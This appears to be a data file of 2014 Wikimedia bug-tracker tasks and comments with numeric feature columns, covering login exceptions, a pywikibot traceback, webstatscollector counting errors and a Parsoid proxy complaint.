[d7f6cf79] 2014-09-10 18:00:46: Fatal exception of type MWException"
325268,Fatal exception of type MWException on Special:CentralLogin,Due to be fixed in the SWAT deploy later today,,,1410372078,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-j3cgog2vjixso7muysak,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.7,1.0,Due to be fixed in the SWAT deploy later today
325263,Fatal exception of type MWException on Special:CentralLogin,"

*** This bug has been marked as a duplicate of bug 69834 ***",,,1410372058,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-j3cgog2vjixso7muysak,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 69834 ***"
72447,movepages.py unable to login if no password.lwp is present,"After deleting password.lwp, it was unable to login with right username and rights.
Move action then fails.

To recover, I tried replace.py, who asked for a password, and then movepages.py was OK again.

Looks like replace.py has superpowers compared to movepages.py



user@pc:~/python/core {master}$ python scripts/movepages.py -pairs:pairs.txt -summary:""Bot request: move after Index move"" -noredirect -pt:0
Moving page [[Page:Ackermann’s Repository of Arts 1809-v01-Jan-Jun.djvu/1]] to [[Page:Repository of Arts, Series 1, Volume 01, 1809, January-June.djvu/1]]
WARNING: API warning (tokens): action=tokens has been deprecated. Please use action=query&meta=tokens instead.
Action 'move' is not allowed for the current user
Traceback (most recent call last):
  File ""scripts/movepages.py"", line 283, in <module>
    main()
  File ""scripts/movepages.py"", line 271, in main
    bot.moveOne(page, pair[1])
  File ""scripts/movepages.py"", line 80, in moveOne
    deleteAndMove=self.getOption('noredirect'))
  File ""/home/user/python/core/pywikibot/tools.py"", line 315, in wrapper
    return method(*__args, **__kw)
  File ""/home/user/python/core/pywikibot/page.py"", line 1458, in move
    noredirect=deleteAndMove)
  File ""/home/user/python/core/pywikibot/site.py"", line 3606, in movepage
    token = self.tokens['move']
  File ""/home/user/python/core/pywikibot/site.py"", line 1168, in __getitem__
    storage = self.site._tokens.setdefault(self.site.user(), {})
KeyError: 'move'
<type 'exceptions.KeyError'>
CRITICAL: Waiting for 1 network thread(s) to finish. Press ctrl-c to abort

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Needs Triage,90.0,1409937660,1409959864.0,PHID-USER-43lnvui4hacyjrc2lflj,False,,False,PHID-TASK-5x7ivas6edyanzw3ymwo,task_description,resolved,True,c3,1,True,False,True,-43,True,0.0,0.0,0.0,0.5,0.25,2.25,0.5,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.25,0.0,1.5,5.5,0.0,1.25,0.0,0.0,0.0,1.0,0.25,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.25,0.5,0.0,0.0,0.0,0.25,2.5,0.0,0.0,0.25,1.75,0.0,0.5,0.0,0.0,0.0,16.25,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.5,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,1.0,9.25,0.0,0.5,0.75,0.0,0.0,0.0,0.0,2.5,0.25,4.0,0.0,0.75,5.5,10.5,0.0,5.75,0.0,0.75,0.0,0.25,0.25,0.0,0.75,0.0,0.25,3.75,3.9462445175438594,0.5833059210526316,"After deleting password.lwp, it was unable to login with right username and rights.
Move action then fails.

To recover, I tried replace.py, who asked for a password, and then movepages.py was OK again.

Looks like replace.py has superpowers compared to movepages.py



user@pc:~/python/core {master}$ python scripts/movepages.py -pairs:pairs.txt -summary:""Bot request: move after Index move"" -noredirect -pt:0
Moving page [[Page:Ackermann’s Repository of Arts 1809-v01-Jan-Jun.djvu/1]] to [[Page:Repository of Arts, Series 1, Volume 01, 1809, January-June.djvu/1]]
WARNING: API warning (tokens): action=tokens has been deprecated. Please use action=query&meta=tokens instead.
Action 'move' is not allowed for the current user
Traceback (most recent call last):
  File ""scripts/movepages.py"", line 283, in <module>
    main()
  File ""scripts/movepages.py"", line 271, in main
    bot.moveOne(page, pair[1])
  File ""scripts/movepages.py"", line 80, in moveOne
    deleteAndMove=self.getOption('noredirect'))
  File ""/home/user/python/core/pywikibot/tools.py"", line 315, in wrapper
    return method(*__args, **__kw)
  File ""/home/user/python/core/pywikibot/page.py"", line 1458, in move
    noredirect=deleteAndMove)
  File ""/home/user/python/core/pywikibot/site.py"", line 3606, in movepage
    token = self.tokens['move']
  File ""/home/user/python/core/pywikibot/site.py"", line 1168, in __getitem__
    storage = self.site._tokens.setdefault(self.site.user(), {})
KeyError: 'move'
<type 'exceptions.KeyError'>
CRITICAL: Waiting for 1 network thread(s) to finish. Press ctrl-c to abort

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
326906,movepages.py unable to login if no password.lwp is present,https://gerrit.wikimedia.org/r/#/c/158805/ merged,,,1409959864,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-5x7ivas6edyanzw3ymwo,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,URL merged
72381,Visiting Special:UserLogin when already logged in produces fatal exception,"**Author:** `swalling`

**Description:**
Steps to reproduce: 

1. Be logged in 
2. Go to a wiki (in my case, Meta)
3. Search for Special:UserLogin

URL was https://meta.wikimedia.org/wiki/Special:CentralLogin/complete?token=be24f4fe571415dbff35a66c7681c1d4
Error produced was: [d87ff559] 2014-09-04 04:37:35: Fatal exception of type MWException

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1409805540,1409805634.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-xip7e34pvi4uz5sfm3ln,task_description,resolved,True,c3,1,False,False,True,-43,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,20.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,1.0,7.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,3.2413793103448274,0.6091954022988506,"**Author:** CODE

**Description:**
Steps to reproduce: 

1. Be logged in 
2. Go to a wiki (in my case, Meta)
3. Search for Special:UserLogin

URL was URL
Error produced was: [d87ff559] 2014-09-04 04:37:35: Fatal exception of type MWException

--------------------------
**Version**: unspecified
**Severity**: normal"
323982,Visiting Special:UserLogin when already logged in produces fatal exception,"

*** This bug has been marked as a duplicate of bug 69834 ***",,,1409805634,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xip7e34pvi4uz5sfm3ln,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 69834 ***"
72295,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"When migrating webstatscollector's filter process from erbium to
oxygen on 2014-07-07 for bug 67456, it seems an old filter binary got used
and effectively the CentralAutoLogin requests got counted again.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57980",Needs Triage,90.0,1409675040,1409688970.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-pl5x6lcdcstkgjh447en,task_description,resolved,True,c3,1,True,False,True,-44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.970149253731343,0.6716417910447762,"When migrating webstatscollector's filter process from erbium to
oxygen on 2014-07-07 for bug 67456, it seems an old filter binary got used
and effectively the CentralAutoLogin requests got counted again.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
321959,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"**gerritadmin** wrote:

Change 157878 merged by Ottomata:
For regular webstatscollector installs, use latest version

https://gerrit.wikimedia.org/r/157878",,,1410800362,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.68,0.8,"**gerritadmin** wrote:

Change 157878 merged by Ottomata:
For regular webstatscollector installs, use latest version

GERRIT_URL"
321955,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"Setting status to fixed again, as the issue at hand has been fixed already.
The change from comment #3 just helps to prevent this kind of regression
from happening again.",,,1409688970,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9722222222222223,0.8333333333333334,"Setting status to fixed again, as the issue at hand has been fixed already.
The change from comment #3 just helps to prevent this kind of regression
from happening again."
321949,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"**gerritadmin** wrote:

Change 157878 had a related patch set uploaded by QChris:
For webstatscollector, use latest version

https://gerrit.wikimedia.org/r/157878",,,1409688481,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.321428571428571,0.8214285714285714,"**gerritadmin** wrote:

Change 157878 had a related patch set uploaded by QChris:
For webstatscollector, use latest version

GERRIT_URL"
321943,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"The deployment worked, and Special:CentralAutoLogin/ requests are
gone again.

The first affected file is
  https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-07/pagecounts-20140707-170000.gz

The first good file after the fix is
  https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-09/pagecounts-20140902-180000.gz

(Accordingly for projectcount files)",,,1409684615,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,20.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,0.775,"The deployment worked, and Special:CentralAutoLogin/ requests are
gone again.

The first affected file is
  URL

The first good file after the fix is
  URL

(Accordingly for projectcount files)"
321936,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"A current binary was deployed just now.
Thanks ottomata!

CentralAutoLogin requests should vanish soon again.",,,1409675121,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.85,0.95,"A current binary was deployed just now.
Thanks ottomata!

CentralAutoLogin requests should vanish soon again."
72140,Webstatscollector counting HTTPS from ulsfo twice,"HTTPS requests end up twice in the udp2log pipeline for all
data-centers. Once from directly from the nginx-s, once from the
varnishes. For ulsfo, both entries in the log line get counted by
webstatscollector, leading to double counting of ulsfo https traffic.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1409263140,1409780567.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-svlu64fpdav3ij7t7l7p,task_description,resolved,True,c3,1,True,False,True,-44,True,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.027397260273973,0.6712328767123288,"HTTPS requests end up twice in the udp2log pipeline for all
data-centers. Once from directly from the nginx-s, once from the
varnishes. For ulsfo, both entries in the log line get counted by
webstatscollector, leading to double counting of ulsfo https traffic.

--------------------------
**Version**: unspecified
**Severity**: normal"
315025,Webstatscollector counting HTTPS from ulsfo twice,"The fix is effective.
The first good files are

  https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-09/pagecounts-20140902-180000.gz
  https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-09/projectcounts-20140902-180000",,,1409780567,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-svlu64fpdav3ij7t7l7p,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,27.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.8666666666666667,"The fix is effective.
The first good files are

  URL
  URL"
315021,Webstatscollector counting HTTPS from ulsfo twice,"A corresponding fix at

  https://gerrit.wikimedia.org/r/#/c/156840/1

has been merged, but due to the pending weekend, and since Monday is
Labour Day, it'll probably take some days until it gets deployed.",,,1409263155,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-svlu64fpdav3ij7t7l7p,task_subcomment,,True,c3,1,True,,,-44,True,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,14.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7837837837837838,0.918918918918919,"A corresponding fix at

  URL

has been merged, but due to the pending weekend, and since Monday is
Labour Day, it'll probably take some days until it gets deployed."
71982,parsoid ignores http_proxy envvar,"Since parsoid doesn't seem to take the environment variable http_proxy into account the following fails:

  $ env | grep prox
  http_proxy=http://proxy:80/
  $ npm test
  ...
  { [DoesNotExistError: Page Fetch failure for ""http://en.wikipedia.org/w/api.php"": Error: connect ECONNREFUSED]
    name: 'DoesNotExistError',
    message: 'Page Fetch failure for ""http://en.wikipedia.org/w/api.php"": Error: connect ECONNREFUSED',
    code: 404 }

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1408986660,1416957917.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-5obeflpsep64vps6tmmj,task_description,declined,True,c3,1,False,False,True,-45,True,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,5.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.136842105263158,0.5894736842105263,"Since parsoid doesn't seem to take the environment variable http_proxy into account the following fails:

  $ env | grep prox
  http_proxy=URL
  $ npm test
  ...
  { [DoesNotExistError: Page Fetch failure for ""URL Error: connect ECONNREFUSED]
    name: 'DoesNotExistError',
    message: 'Page Fetch failure for ""URL Error: connect ECONNREFUSED',
    code: 404 }

--------------------------
**Version**: unspecified
**Severity**: normal"
319431,parsoid ignores http_proxy envvar,"I've learned the hard way that http_proxy isn't really a standard at all.  Hardly anything respects it, and modern software uses the system proxy settings (set via gnome, kde, etc) instead of relying on a standard-which-isn't.  Let's not even touch the question of whether http_proxy should be used for https traffic.

Anyway, there's a perfectly straightforward workaround, which I've provided.

[The 'senile software' was intended to be a lighthearted joke.  I apologize if it appeared otherwise.]",,,1409277386,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-5obeflpsep64vps6tmmj,task_subcomment,,True,c3,1,False,,,-44,True,0.5,0.5,1.0,2.0,1.0,3.0,1.0,0.0,0.0,1.0,1.5,4.5,0.0,0.5,1.0,2.5,0.0,8.0,6.5,0.5,1.0,1.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,1.5,0.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,9.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,6.0,3.5,5.5,2.0,0.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.0,6.5,1.5,0.0,2.0,0.0,5.0,0.0,2.0,3.0,0.0,0.5,0.0,0.0,1.5,3.983927323549965,0.8410202655485675,"I've learned the hard way that http_proxy isn't really a standard at all.  Hardly anything respects it, and modern software uses the system proxy settings (set via gnome, kde, etc) instead of relying on a standard-which-isn't.  Let's not even touch the question of whether http_proxy should be used for https traffic.

Anyway, there's a perfectly straightforward workaround, which I've provided.

[The 'senile software' was intended to be a lighthearted joke.  I apologize if it appeared otherwise.]"
319420,parsoid ignores http_proxy envvar,"(In reply to C. Scott Ananian from comment #2)
> You mean the not-even-in-POSIX-and-certainly-not-in-libc ""http_proxy""
> convention, I guess, used by senile software. ;)

I admit to being over 40, but I don't think I'm quite qualified to be called senile.  I prefer the title ""seasoned"" for my dormant sysadmin skills.

Skills which, truth be known, find it very useful to set http_proxy once in /etc/environment and then have it used by all software on that host.

> We use the `request` module (https://github.com/mikeal/request) which has an
> `proxy` argument to the constructor.

Getting the request module to respect http_proxy is certainly an upstream problem.  That wasn't my goal in filing this this bug.

> You can put
> 
> parsoidConfig.defaultAPIProxyURI = process.env['http_proxy'];
> 
> in your localsettings.js if it makes you feel better.

This statement is dismissive of the de facto http_proxy standard.

Why?",,,1409270953,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5obeflpsep64vps6tmmj,task_subcomment,,True,c3,1,False,,,-44,True,0.5,0.0,0.5,1.0,1.0,4.0,2.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,3.0,0.0,5.5,7.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,3.5,1.5,1.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,12.5,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,2.5,3.5,13.5,0.5,1.0,7.5,0.0,0.0,0.0,0.5,4.0,0.0,1.0,0.0,4.5,7.5,5.0,0.5,1.0,0.0,4.5,0.0,1.0,0.5,0.0,1.5,0.0,0.0,1.5,3.685196687370601,0.7478260869565218,"(In reply to C. Scott Ananian from comment #2)
QUOTE
QUOTE

I admit to being over 40, but I don't think I'm quite qualified to be called senile.  I prefer the title ""seasoned"" for my dormant sysadmin skills.

Skills which, truth be known, find it very useful to set http_proxy once in /etc/environment and then have it used by all software on that host.

QUOTE
QUOTE

Getting the request module to respect http_proxy is certainly an upstream problem.  That wasn't my goal in filing this this bug.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This statement is dismissive of the de facto http_proxy standard.

Why?"
319409,parsoid ignores http_proxy envvar,"""more mature programming environments"". ha!

You mean the not-even-in-POSIX-and-certainly-not-in-libc ""http_proxy"" convention, I guess, used by senile software. ;)

We use the `request` module (https://github.com/mikeal/request) which has an `proxy` argument to the constructor.

This can be configured in your localsettings.js; see the api/localsettings.js.example file in Parsoid.

You can put

parsoidConfig.defaultAPIProxyURI = process.env['http_proxy'];

in your localsettings.js if it makes you feel better.",,,1408990093,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-5obeflpsep64vps6tmmj,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,1.0,1.0,3.5,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.5,2.5,6.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.5,3.0,1.0,0.0,4.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,7.5,1.0,0.5,6.0,0.0,0.5,0.5,0.0,4.0,0.5,0.0,0.0,6.5,6.5,5.0,0.0,3.0,0.0,6.5,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,4.1770588235294115,0.7231372549019608,"""more mature programming environments"". ha!

You mean the not-even-in-POSIX-and-certainly-not-in-libc ""http_proxy"" convention, I guess, used by senile software. ;)

We use the CODE module (URL which has an CODE argument to the constructor.

This can be configured in your localsettings.js; see the api/localsettings.js.example file in Parsoid.

You can put

parsoidConfig.defaultAPIProxyURI = process.env['http_proxy'];

in your localsettings.js if it makes you feel better."
